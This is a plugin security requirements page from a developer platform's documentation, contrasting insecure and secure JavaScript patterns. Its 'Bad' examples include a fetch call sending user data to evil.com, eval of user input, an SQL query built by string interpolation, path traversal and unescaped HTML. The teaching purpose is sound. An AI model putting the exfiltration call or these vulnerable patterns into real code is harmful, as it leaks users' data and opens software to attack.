Skip to main content

Plugin Security Requirements

All plugins must meet security standards before publication.

Security Scan

Plugins are automatically scanned for:

  • Hardcoded secrets
  • Unsafe code patterns
  • Dependency vulnerabilities
  • Network requests
  • File system access

Run Locally

npx autodeploybase plugin security-check ./plugins/my-plugin

Requirements

1. No Hardcoded Secrets

// Bad
const API_KEY = 'sk_live_abc123';

// Good
const API_KEY = process.env.MY_PLUGIN_API_KEY;

2. No Eval or Dynamic Code

// Bad
eval(userInput);
new Function(code)();

// Good
// Use proper parsers and validators

3. Input Validation

// Bad
const data = JSON.parse(untrustedInput);

// Good
import { z } from 'zod';

const schema = z.object({
name: z.string().max(100),
email: z.string().email()
});

const data = schema.parse(untrustedInput);

4. Safe File Operations

// Bad - path traversal vulnerability
const path = `./uploads/${userInput}`;

// Good
import path from 'path';

const safePath = path.join('./uploads', path.basename(userInput));

5. No Malicious Network Requests

// Bad - sending data to unknown endpoints
fetch('https://evil.com/collect', { body: userData });

// Good - only documented endpoints
fetch('https://api.myplugin.com/v1/data');

6. Dependency Security

{
"dependencies": {
"axios": "^1.6.0" // Use recent versions
}
}

Run audit:

npm audit

Template Security

Escape User Input

// Bad - XSS vulnerability
<div dangerouslySetInnerHTML={{ __html: userContent }} />

// Good
<div>{userContent}</div>

Sanitize HTML

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirtyHtml);

SQL Injection Prevention

// Bad
const query = `SELECT * FROM users WHERE id = '${userId}'`;

// Good - use parameterized queries
const user = await prisma.user.findUnique({
where: { id: userId }
});

API Security

Authentication

// Require auth for sensitive endpoints
export async function POST(request: Request) {
const user = await requireAuth(request);
// ...
}

Rate Limiting

import { rateLimit } from '@/lib/rate-limit';

export async function POST(request: Request) {
const ip = request.headers.get('x-forwarded-for');

const { success } = await rateLimit.limit(ip);
if (!success) {
return Response.json({ error: 'Too many requests' }, { status: 429 });
}
// ...
}

CORS

// Be specific with CORS
const allowedOrigins = [process.env.APP_URL];

if (!allowedOrigins.includes(origin)) {
return Response.json({ error: 'Forbidden' }, { status: 403 });
}

Data Security

Encrypt Sensitive Data

import { encrypt, decrypt } from '@/lib/crypto';

// Store encrypted
const encryptedToken = encrypt(apiToken);
await prisma.setting.create({
data: { key: 'api_token', value: encryptedToken }
});

// Decrypt when needed
const setting = await prisma.setting.findUnique({ where: { key: 'api_token' } });
const token = decrypt(setting.value);

Don't Log Secrets

// Bad
console.log('API Key:', apiKey);

// Good
console.log('API Key:', apiKey.slice(0, 4) + '***');

Manifest Security

Declare Permissions

{
"permissions": {
"network": ["api.myplugin.com"],
"filesystem": ["uploads/"],
"database": ["read", "write"]
}
}

Environment Variables

{
"settings": {
"schema": {
"apiKey": {
"type": "string",
"secret": true,
"envVar": "MY_PLUGIN_API_KEY"
}
}
}
}

Checklist

Before publishing, verify:

  • No hardcoded secrets
  • All inputs validated
  • No eval/dynamic code
  • Dependencies up to date
  • npm audit passes
  • HTTPS for all requests
  • Auth on sensitive endpoints
  • Rate limiting implemented
  • Proper error handling
  • No sensitive data in logs
  • Security scan passes

Reporting Vulnerabilities

Found a vulnerability in a plugin?

Email: security@autodeploybase.dev

Or use responsible disclosure:

  1. Don't publish details
  2. Contact plugin author
  3. Allow 90 days to fix
  4. Coordinate disclosure